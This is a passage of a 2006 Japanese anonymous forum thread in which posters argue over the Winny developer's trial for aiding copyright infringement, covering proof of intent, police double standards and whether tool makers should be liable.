251 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:49:29 ID:XGTMyb0K0
>>208
Winny使用者はとっくの昔に逮捕されてるよ

新聞記事ぐらい読んでから出直して来いや、ウスラ(´,_ゝ`)プッ
252 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:49:46 ID:RV+uR2pS0
>>243
ウィニーとアプロダじゃ、被害額が全然違う 
253 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:50:03 ID:QC3j5myr0
ところで与太は逮捕されないの?
公道で160`出せるよ?スピード出せって事だよね?
254 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:50:06 ID:F7Cwm+QL0
個人的にスレッドのログを持っている人間なら腐るほどいるだろうが
元々改竄が容易なデータだし
きちんと当時のサーバログがないと証拠にはならんだろうな
255 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:50:38 ID:84GpV38O0
>243
逮捕されるだけのことをしていても
ほっておかれていることってあるよ。
256 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:50:49 ID:KTg2AYkL0
そういえば47氏の使ってたPCの中に「kakikomi.txt」とかはなかったんだろうか。

>>248
状況証拠のみで進む裁判ってそんなにものめずらしいの?
257 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:51:57 ID:F7Cwm+QL0
>>255
著作権侵害とかは元々申告罪だからな
訴えて割りにあわないとして
放置されているケースがほとんどだろう
258 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:52:24 ID:SUqHNJg20
>>256
それが簡単にできるんだったら全国の893早く捕まえてよ、って話じゃん。
259 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:52:53 ID:y6rRTm2l0
鯖管理者が著作権侵害幇助の幇助で検挙されたりしたら面白いな
260 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:52:56 ID:8XjOUsE/0
ところで警官は逮捕されないの?
拳銃持ってるよ?人に向けて撃てって事だよね?
261 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:53:00 ID:uhpuHDZA0
>>239

いやだから幇助が成り立たないとなったら
なんの罪で裁くの?

ちなみに俺は47氏は著作権侵害に利用されると
判っててWinnyを開発したと思ってる。
でもそれを立証することは出来ないし、
立証できないのに、ある特定の人間の思い込みだけで
有罪になるのでは
法治国家ではなく人治国家になってしまうのが恐ろしいのですよ。
262 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:54:04 ID:KTg2AYkL0
>>261
Winnyユーザーで逮捕者は出ているわけだから、それに関して幇助が成り立ってもおかしくないんじゃないの?
263 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:54:07 ID:RV+uR2pS0
>>261
ファイルの暗号化と匿名性で証明にならんの?
264 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:54:17 ID:rhSpaNQn0
>>251
winny使用者である事が判明してて、
捕まってない(黙認されてる)人間がいる(警官とか)
のがオカシイ、って話じゃね?
265 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:54:33 ID:bXcQucS+0
>>256
珍しくは無いけど、痴漢裁判並に魔女裁判の様相を呈してくるからな。


>>257
ny使用者のレベルなら量が量だけに集団提訴も可能だろうから
放置する理由付けに至らないのではという気も。
266 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:54:39 ID:DC7iE3V50
極論を言うと日本が中国のようになるかどうかの瀬戸際ってことさ
金子が有罪になったら日本の中国化への第一歩を踏み出す事になる。
267 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:54:49 ID:pCTxMY6M0
>>256
状況証拠のみ?
その状況証拠が本体以外無いんだが

掲示板の誰が書いたかわからないレスを状況証拠とは言わない。
268 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:54:53 ID:Xr1I6krK0
>>261
法治主義の原則からみたらその考えであっていると思う。
本人は開発やめているし職を失う等の不利益も被った。
道徳的に問題ある行為を軒並み処罰したら社会の矛盾を全否定することに繋がる。
269 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:55:02 ID:8XjOUsE/0
>>258
怖がってるから無理だな。
だから弱者をいじめてるんだよ。
270 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:55:05 ID:ICYSCPuT0
日本の司法がそんな徹底した証拠主義に貫かれてるわけないだろう
だからこそ起訴されたが最後ほとんど有罪になる
271 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:56:22 ID:XGTMyb0K0
>>266
金子が無罪になったら、だろう

著作権侵害は中国人の十八番だ
272 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:56:31 ID:YsPh/90s0
明らかに商品のピーコ品が出回るのはアレだけど
ただの録画のシェアとかは堪忍して欲しいなあ。

時間帯変更の可能性を察知してリアルタイムで対応した人はOK、
失念してたり操作できる状況になかった人はNGって

なら特番止めろ、延長止めろとドラマ好きやらアニオタやらも怒り出しそう。


いっそテレビ局自らが、映画などの既にDVD化されてるものは除いて
画質と音質を落とし、著作権クレジットを入れた状態でようつべとかに流したら?

んで、特にアニメとか人気シリーズになりそうなドラマとかは
もっと画質がいいもの、特典のついてるものが欲しかったら
後から出るDVDも買ってね、で十分に商売になるはず。
273 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:57:05 ID:RV+uR2pS0
>>266
極論すぎるな それは(^^;

無罪になったら、著作権が、中国並みになるよ
274 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:57:24 ID:yzYnHFKR0
>>261
>ちなみに俺は47氏は著作権侵害に利用されると
>判っててWinnyを開発したと思ってる。

ウインドウズは著作権侵害と違法コピーに利用されると判ってて開発したと思ってる。









病院に行った方がいいな。
275 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:57:25 ID:rhSpaNQn0
>>262の路線なら充分ありえるだろうと思われ。
276 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:57:37 ID:W5gON4fl0
京都の実際にWinny使った警官は罪に問われないのに、
実行犯でなく道具を作った奴だけ有罪ってのは無理じゃないのか?

実行犯が実刑になって初めてほう助も罪になるんだろ。
277 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:57:41 ID:m5tKpxn90
国家権力の国民に対する脅しだな、
インターネットは匿名でないんだぞという。
278 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:57:45 ID:6cirXFsl0
殺人事件の裁判でも「殺意があったか無かったか」なんていう、
調べようもない事で争ったりすることあるからなー。
「犯行時どれだけ邪悪な心を持っていたか」で罪の軽重が影響受ける
というのも、難しい話だな。
279 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:57:52 ID:QC3j5myr0
>>263
そもそも匿名性でアウトなら多段串が使える匿名掲示板の管理者は全員逮捕されるだろ。
ちなみに2ちゃんは多段串使えない。
280 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:59:04 ID:KTg2AYkL0
>>264
一時ファイルを放出したかどうか、なんじゃないの?
詳しくはしらないが。

>>267
「状況証拠」だよ?
281 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:59:14 ID:RjRZ0A510
開発動機がメモその他で残される物証だというなら掲示板のカキコがそれそのものだろう。
あるいはコードが仕様書であるという観点からnyの機能自体が開発動機の物証ともいえる。
282 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:59:22 ID:8XjOUsE/0
>>270
こういうことだな。

メンツ>>>>>>越えられない壁>>>>>>事実
283 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:59:39 ID:pCTxMY6M0
>>263
ならん。それだけは断言できる。

暗号化と匿名性は今ブラウザにも搭載しようと開発がすすんでる。
相手の鯖及び中継鯖に個人情報を漏らさないようにしていってる。

プライバシーの侵害って観念がある限り、これは自然な成り行き。
284 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 04:59:40 ID:RV+uR2pS0
>>279
ウィニーは不特定多数の共有のための匿名性だよ?
285 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 04:59:47 ID:MNcxopNZ0

 なつかしいな。金子が五条の警察署にいる頃、よく前を通ったw
286 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:00:35 ID:1RNHyC3y0
ウィニーは匿名なのは認めざる得ない
287 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:00:38 ID:DC7iE3V50
>>272
着色などの量産コストが下がったおかげも大きいがアニメDVDなんかではフィギュアを付けるようになったよなw
ディスク自体に価値がないことを暗に認めてる証拠だな
288 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:00:44 ID:zkEbRNvb0
>>209
ただいま。
市場というものがどれだけ情報と密接になってるのかという事をバカな政治家が悟る頃には
ネットを支える環境の衰退だけでなく色んなハードの分野は勿論のこと
お金が回るに欠かせない分が全てダメになっていくから
著作権がどうのこうの言ってる場合ではなくなるほどにアタフタするはずだよw
289 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:00:44 ID:QC3j5myr0
>>280
nyは「ファイル共有ソフト」だ。
アプロダのように厳密にアップ側とダウン側が分かれているのではない。
文字通り「共有」するのだ。
ダウンしているという事は同時にアップもしている。
290 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:01:02 ID:uhpuHDZA0
>>263

匿名性と暗号化したことで罪になる
法的根拠は何?
291 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:01:06 ID:xvgk7Zw50
>>274
ゲイツは逮捕すべき
あとノイマンも被疑者死亡で書類送検
292 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:01:08 ID:6gDOvhw40
インターネットって研究者が研究内容を
・全世界に散らばる研究者と共有
・犯罪や事故で成果が全部消失するのを防止
という目的で開発したもの

ゆえに
・著作物なんかのっけたらあれよという間に全世界へ
・恥ずかしい個人データが流出しても完全回収は不可能
少々のセキュリティ噛ませたくらいで商業利用するのは
ちょいとといわず不味いはずなのだが、、、
293 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:01:28 ID:x/T+wjQr0
情況証拠と状況証拠の違いもわからん奴がいるな
294 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:01:29 ID:4HZEGrEI0
これが有罪だとftpも串も、ちょっと拡大すればhttpも有罪じゃね?
295 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:01:40 ID:SUqHNJg20
もし作者が「著作権侵害するために作ったんじゃねえ。児童ポルノを流通させるために
作ったんだ!」って主張したらどうなるんだ?
296 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:02:44 ID:DC7iE3V50
>>273
新たな著作権のあり方を追求して世界的に類を見ない新たな一歩を踏み出せばよいのだよ
それをやってのける能力が日本人にはあるはずだ。
297 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:02:45 ID:KTg2AYkL0
>>289
ごめん、「一時ファイル」って意味わかんないよね、「一次ファイル」でした。

最初にファイルをアップした人がいるわけだよね、じゃないと「共有」が始まらない。
その「最初のファイル」をアップした人は、「権利者に許可を得ずにファイルをアップロードした」という罪に問われるのでは?
ということです。

たしかそういう流れで逮捕されたんじゃなかったっけ?
298 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:03:06 ID:F7Cwm+QL0
>>295
エロの教祖様になる
299 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:03:11 ID:RjRZ0A510
ことここにいたって「俺の120km/hが速度違反ならあいつの130km/hも違反じゃね?」とかいう話は要らんよ
300 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:03:13 ID:QC3j5myr0
>>284
多段串が使える掲示板でひっそりと児童ポルノがやり取りされていたとしよう。
掲示板管理人は「児童ポルノ法違反幇助」になるのか?
301 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:03:35 ID:ZOZdixniO
日本にインターネット持って来たのは、
東工大と慶大の教授等
302 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:04:00 ID:8XjOUsE/0
>>295
第二のタシーロ降臨
303 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:05:13 ID:RjRZ0A510
>>300
管理責任と設置意図が問われるんじゃね?
304 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:05:16 ID:KTg2AYkL0
>>300
状況によるんじゃないの?
その管理者が、児童ポルノがやり取りされていることを認識して放置してたら罪に問われる可能性もあるんじゃないだろうか。

そういう「状況による違い」を判断するために人間が裁判するんじゃないのか?
305 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:05:18 ID:RV+uR2pS0
>>290
あらゆるソフトを不特定多数と共有して特定されないための機能を保持
分かりやすく言えば、
捕まらないと犯罪者じゃないから、バンバン犯罪しましょうってことでしょう
306 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:05:41 ID:84GpV38O0
>299
あんまり恣意的だと非難のひとつもしたくなるだろうが。
特に警察の身内とかならなおさら。

西部劇のようによそ者にだけ適用する法律とかそんなレベル。

307 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:05:58 ID:SUqHNJg20
最初にCD−RやDVD−Rを発明して作った奴は著作権侵害の幇助どころじゃねーだろ。
308 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:06:35 ID:S6R6jpVY0
この裁判は色々と検察が酷いんだよ。
Winnyを使ったファイル送信実験でもプライベートIPでやってるし
200回以上バージョンアップしたのが侵害の意図ありだとか的外れだし
そもそもny1の開発は終了してて、ny2は大規模BBSの開発だった。
正犯が逮捕されて警察の要請で開発も止めた。その後も警察には
協力的だった。しかし京都府警のりょう巡査がキンタマでやらかして
面子を潰された京都府警がとち狂って逮捕した。
京都府警を解体したほうが社会のためじゃないの。
309 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:07:36 ID:Jmlc3Nfx0
P2P イコール ファイル共有ソフトだっけ?
性格的には クライアントサーバ型から離れたピアーツーピア型情報システム
なわけだしこれを有罪にするともう言いがかりじゃねえの?
損害与えたなら包丁使って何人も死んでるわけだし。
ネットワークそのものが共有化リソースなわけだ。そんだけ不利益こうむる
ならいっそのことインターネットごとやめれば?
もしもネット規制がでてくれば裁判になっても争う
言論の自由は民主主義の根幹だ。独占されるもんじゃない。
310 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:07:40 ID:BDhtutMR0
馬鹿馬鹿しい。ただの八つ当たりじゃねーかよw
無罪だ無罪。

よっぽどおめでたい頭してない限り、ある程度の労力を費やしてつくるものが、どういう風に使用されるかなんて当然予想するものじゃないか。
ダイナマイト然り。ウェブブラウザ然り。ノーベルの悔恨なんて誰も信じてない。
311 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:07:57 ID:3qH80s/F0
車なんて人殺しの道具になってるもんね
年間1万人くらい死んでるし
早くトヨタやホンダ潰さないとね
312 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:08:04 ID:KgNpi4Ku0
Winnyを使用しただけで捕まった人間はいない。
Winnyを使用して他人の著作物を不特定多数の人間がダウンロード出来る状態にした人間が捕まったのだ。
313 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:08:21 ID:SUqHNJg20
この最初に著作権侵害で捕まった奴も京都府警の仕込みじゃねーの?
警察に借りがあるチンピラか何か使って。
314 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:08:24 ID:QC3j5myr0
>>304
やっぱり認識していたかどうかの問題になってくるのか。
曖昧だのう。
315 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:08:27 ID:DC7iE3V50
>>308
任天堂も解体しなきゃな
316 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:08:49 ID:cTJ3tswo0
後だしジャンケンな裁判だよな。彼がこのソフト作らなきゃ
こんな問題すら彼らの意識の中になかったんだから。
時代が違えばダイナマイトの発明と同じノーベル賞もんだったかもしれない。
それが犯罪者ねぇ。。
317 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:09:50 ID:KTg2AYkL0
>>306
恣意的、なの?
逮捕された人は「このファイルをアップロードしますよー」って宣言してアップロードした
とかいうことで逮捕されたんじゃなかったっけ?
318 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:10:03 ID:BuHU6jns0
だって 地裁だろ

今までまともな判決でたためしあるか?
地裁で
319 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:10:47 ID:pCTxMY6M0
>>312
>Winnyを使用しただけで捕まった人間はいない。
>Winnyを使用して他人の著作物を不特定多数の人間がダウンロード出来る状態にした人間が捕まったのだ。

winを使用しただけで捕まった人間はいない。
Winを使用して他人の著作物を不特定多数の人間がダウンロード出来る状態にした人間も捕まってない。
320 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:10:57 ID:+7VBP1i80
お前ら主張に無理があるだろう
「違法目的に作ったけど、捕まえられないだろ ぷぎゃー」
ってのは明らか。やってることはヤクザと同じ

なのに、コピーフリーで自分も甘い汁がすえるもんで擁護する、貧乏人どもwwwww

いつもは甘い汁すう政治家や、官僚叩いてるのにねwww
立場が変われば自分も同じ事をしてる
人間なんてそんなもん


321 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:11:14 ID:x/T+wjQr0
>>313
この件であふぉ警察は「nyの暗号は解読した」って言ってたけど
正犯で逮捕された奴は本名をファイルデータに書き込んでた可能性がある。
おまいの言うことも否定できないが、馬鹿は計り知れない馬鹿もいるとも言える。
322 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:11:42 ID:SUqHNJg20
逮捕状発行した判事も自分たちの仲間だから、今さら無罪になんてできないだろう。
323 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:12:12 ID:KTg2AYkL0
>>319
捕まったぞ。
324 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:12:24 ID:6cirXFsl0
アインシュタインは未だに英雄だしな
325 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:13:15 ID:pCTxMY6M0
>>323
winて・・・ゲイツだぞ?

ゲイツ捕まったのか?
326 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:13:56 ID:RjRZ0A510
ぶっちゃけ最終的には誰かが責任とるべきなんじゃねーの?
被害は甚大だよ。デジタル共産主義者きどってもここは日本だ。

それがスケープゴートだろうがなんだろうがさ。
少なくとも「開発者」という肩書きは普遍的に理解しやすいだろうさ。
それがいやならたかだが腕自慢でこんなソフトなぞ日本人が作るべきじゃなかった。
327 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:13:57 ID:cTJ3tswo0
>>320
モノ作りをする人に敬意を払う日本人の心理かな。
しかも誰もなし得なかった新しい発明に対しては尊敬の念を払う。
それが原爆であってもね。
328 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:14:20 ID:RV+uR2pS0
ny使ってる奴は、間接的に 代々木アニメーションを破綻させたんだな
329 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:14:41 ID:uhpuHDZA0
>>305

だからそれが何の法律にひっかかるの?
法治国家では法律に違反しなければ罪に問う
ことは出来ないんですが・・・・・
330 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:15:18 ID:QC3j5myr0
無罪だ無罪。有罪とかありえねーよ。
身内がnyでやらかしたからってキレて捕まえただけだろ。
331 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:15:38 ID:2AsaTS7J0
>>328
そうだったのか!w
332 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:16:03 ID:ahR9uLhN0
P2Pだのエミュレータだの書いてある雑誌は、
どうみても犯罪を幇助してる。
違法ロムの配布URLからそれを使うまでの詳細な手順が書いてあり、
ファミコンからDSを無料で使う方法!と表紙にでかでかと書いてある。
333 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:16:08 ID:DC7iE3V50
>>328
ワロタ そうきたか
334 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:16:15 ID:dLIUsioW0
メッセンジャーだってmp3がバンバン送りまくられてると思うけどな
335 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:16:27 ID:KTg2AYkL0
>>325
nyってWin版しかなかったと思うが・・・
336 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:16:53 ID:yzYnHFKR0
>>320
キンタマのおかげで行政機関の不正行為が明らかになったのは功績。
337 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:17:07 ID:8XjOUsE/0
有罪になった後、キンタマ感染したアフォどもが金子氏を訴えて、また祭りが始まる悪寒
338 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:17:11 ID:+7VBP1i80
>>327
無知は困るぜ。Winny程度の技術なんてどってことないし
やばいから作らなかっただけ

「Winnyの独創性」とか「P2Pの未来」とか詭弁ですからwwwwww
それなら、別に匿名にする必要なかっただろう?
誰も使わなくて、大規模実験できねーけどなw

339 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:17:24 ID:Jmlc3Nfx0
何度もいうようだが基本リソースは
アーパネットのパケットシステムを利用した ピアツーピア型の共有
ソフトなわけで決して著作権を目的につくられたわけじゃない。
これで有罪になったら法治国家ではなくなる警察国家。
340 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:17:29 ID:mzuqP1c30
ネットランナー\(^o^)/オワッタナ
341 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:18:14 ID:QC3j5myr0
ネトランは一回死んだ方がいい
342 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:18:19 ID:MTHSVQr20
この裁判官もwinnyやってたらどうすんの?
343 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:18:24 ID:bIZaszPD0
意図があったかなかったかなんてどうやって証明するの?
344 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:18:39 ID:S6R6jpVY0
この裁判のなにが一番問題かといったら
幇助などという曖昧な罪でもしも有罪になってしまったら
日本のソフトウェア開発は少なからず萎縮するってことだ。
今一番ガクブルしてるのはFFFTPの作者じゃないの?
345 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:18:47 ID:x/T+wjQr0
>>335
リナックスでできますが何か?
346 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:19:15 ID:bXcQucS+0
>>317
「宣言したから」やっと逮捕、宣言していないからお咎め無しというレベルなら、
宣言もしていないのに「ny開発で幇助逮捕有罪」なんておかしいだろ。
347 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:19:25 ID:8XjOUsE/0
>>340
ついでにソフトバンク解体キボン
348 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:19:31 ID:xnGX0W180
>>1
確信犯っていうか計画犯じゃないの
正確な言葉使うと
349 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:19:53 ID:RV+uR2pS0
>>329
法律が万能だと思ってるみたいだけどさぁ
全部を法律で決めたら、犯罪は無くなるとでも思ってるのかな?
経済に与える損害を考えれば、nyみたいなもんは 問題ありなのは誰でも分かることなのに、 法の不備を鬼の首を取ったように勝ち誇るんだねぇ(w

法で縛れば縛るほど 法の網は広くなるだけなんだけどな
そのために道徳とかモラルってものが、あったんだろうにねぇ
350 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:20:03 ID:Jmlc3Nfx0
>>338 裁判制度って知ってる?パソコンは得意なようだけど
現実世界の認識は足りないめがね君なんだろうねw
351 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:20:15 ID:DC7iE3V50
まぁぶっちゃけネットのなかった時代に戻って欲しいなとは時々思うよ。
騙されたまま寡黙に働けたろうにwww
352 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:20:28 ID:6gDOvhw40
325氏が言いたいのは

(ウィニーほど匿名性は無いが)著作権侵害行為が可能な
ウィンドウズシリーズだって多数の著作権侵害を起こしているのに
作者のビルゲイツもウィンドウズユーザーもそれに関して訴追されないね

ってことなんでないの?(間違って居たら訂正Plz)
353 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:20:40 ID:+7VBP1i80
>>339
そういう理屈は通らないと思うんだよね
どう運用されるかが問題なわけでね

大体これだけ、著作権者に迷惑をかけるようなソフトを公開するだけでも人間的に壊れているだろ
これまでも常識人ならそんな事はしなかった

354 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:21:03 ID:SUqHNJg20
>>349
それなら先にnyを規制する法律を作るのが法治国家だ。
355 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:21:41 ID:yzYnHFKR0
>>326
被害を防ぐための努力は企業がやってるだろ。
モナーをパクって「のまネコ」とかいうキャラクター商品で商売していたエイベックスとか。
主要なハードメーカーは違法コピー対策を施して商品化している。
356 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:23:13 ID:y6rRTm2l0
コミケで一斉摘発でもしたほうが話題性も件数も挙がるんじゃないの?
357 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:24:04 ID:RV+uR2pS0
>>352
だから どのように規制と法律を作るの?それが問題

法治国家なのはわかるが法だけじゃ解決は出来ない問題だろうけどな
358 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:24:36 ID:uhpuHDZA0
>>349
いや法律が万能だとは思ってないし・・・・。
nyが問題ないなんて一言も言ってないのだが?
俺が言いたいのはこの件で47氏を有罪にするのは無理ってことと
ソフトウェア開発を仕事としているものにとって
法律に違反してないのに逮捕される危険性について憂慮している
だけなんだが?

なんか御免ね。追い詰めちゃったみたいで(w

359 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:24:43 ID:dLIUsioW0
サラ金、パチンコの限りなく黒に近い灰色産業がデカイ顔してるのが日本
取り締まる法律の存在しないP2Pで逮捕とか笑わせる
360 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:25:05 ID:1XNoIQyh0
>>343
否認事件では間接事実によって証明する。故意の証明などと変わらん。
361 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:25:37 ID:DC7iE3V50
>>353
>著作権者に迷惑をかけるような
著作権ゴロに迷惑をかけるようなの間違いじゃないの?
ネットが普及したご時世ではかなりの中間マージン省くことできるよな?
適正な価格になれば金出して買う奴は買うだろうな
その証拠にダウンロード販売の好調さとipodの普及の早かったアメリカを見習えってのw
362 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:26:54 ID:QC3j5myr0
ネットはあらゆるものの境界と常識を破壊した。
それによって引き起こされたこの混乱はいつまで続くのだろうか



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363 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:27:00 ID:SUqHNJg20
>>357
俺なら、上りのトラフィックを一定量以上出すのを許可制にするね。
それでほとんど解決じゃないかな。
鯖サービスをする会社は許可取ればいいんだし。
そもそも逮捕後も全くnyは下火になっていないんだから、法を超えた規制も何の
効果もなかったんだよ。
364 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:27:05 ID:+f9oy1sn0
有罪になる確率は、何%ぐらいでしょうか?
365 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:27:24 ID:RV+uR2pS0
>>358
さ〜て法律家じゃないからわかんないが

有罪になってほしいと思ってるよ(w
366 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:27:41 ID:dNlaVx+E0
最高裁までやったらどんぐらいかかんの?
367 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:27:43 ID:6gDOvhw40
>349
逆ですがな、、、
法で規定されない事まで拡大解釈で取り締まると
道徳やモラル頼みの捜査になるの。
捜査官がみな光り輝ける徳の体現者ならいいが
人間全般がそうでないように捜査官だってそうではない。
ただでさえ捜査側は強制力を持っているんだから
法の裏づけ無しにそれを使わせるのは問題ですがな。
368 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:27:43 ID:AqcLsPEB0
どんな判決が出ても控訴して続くんじゃないの?
369 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:27:56 ID:pCTxMY6M0
>>349
なら、そのモラルとやらを身内に適応しろ。

キャッシュを中継して著作権を侵害するのを知りつつ利用したとか
幇助で警官も逮捕しておけば誰も騒がない。
370 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:28:51 ID:+7VBP1i80
逆に考えろ。これが無罪になって、認められちゃったら
凄いやばい事にならないか?w
371 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:29:49 ID:DC7iE3V50
これって中国人のアングラコピー業者を救済するために
nyを駆逐しようとする売国奴が暗躍してるんだろうな
有罪だったら日本オワタで中国化推進だなw
372 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:30:05 ID:IAtM+imI0
実行犯の顔も知らない、名前も知らない
言葉を交わしたこともない
ソフトのreadmeには「これらのソフトにより違法なファイルをやり取りしないようお願いします」と但し書きがある

これで幇助の罪に問われるのなら、
「使い方によっては法に触れるもの」を作った開発者・情報発信者は全部アウトだよね
373 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:31:29 ID:6gDOvhw40
開発した事を裁くのは事後立法とかで問題だが
使用禁止については議会が同意すれば法制化可能。
法制化された後に使えばそれこそ犯罪
374 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:31:43 ID:RjRZ0A510
>>370
まあ「ファイル共有に使ってねv」ってソフトばらまいても問題ないって話になるわな?
375 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:31:57 ID:GsVO2Cz50
>>370
ならんと思いますけど・・・
376 名前:名無しさん@七周年[] 投稿日:2006/12/10(日) 05:32:56 ID:bXcQucS+0
>>364
裁判官次第。

松○伸一郎あたりの裁判官なら気分で確実に有罪確定w
377 名前:名無しさん@七周年[sage] 投稿日:2006/12/10(日) 05:33:19 ID:RV+uR2pS0
>>367
だれも 拡大解釈で取り締まれとは書いていない

分かりやすく言えばね 万引きみたいなモンだよ 絶対捕まらない店があったら
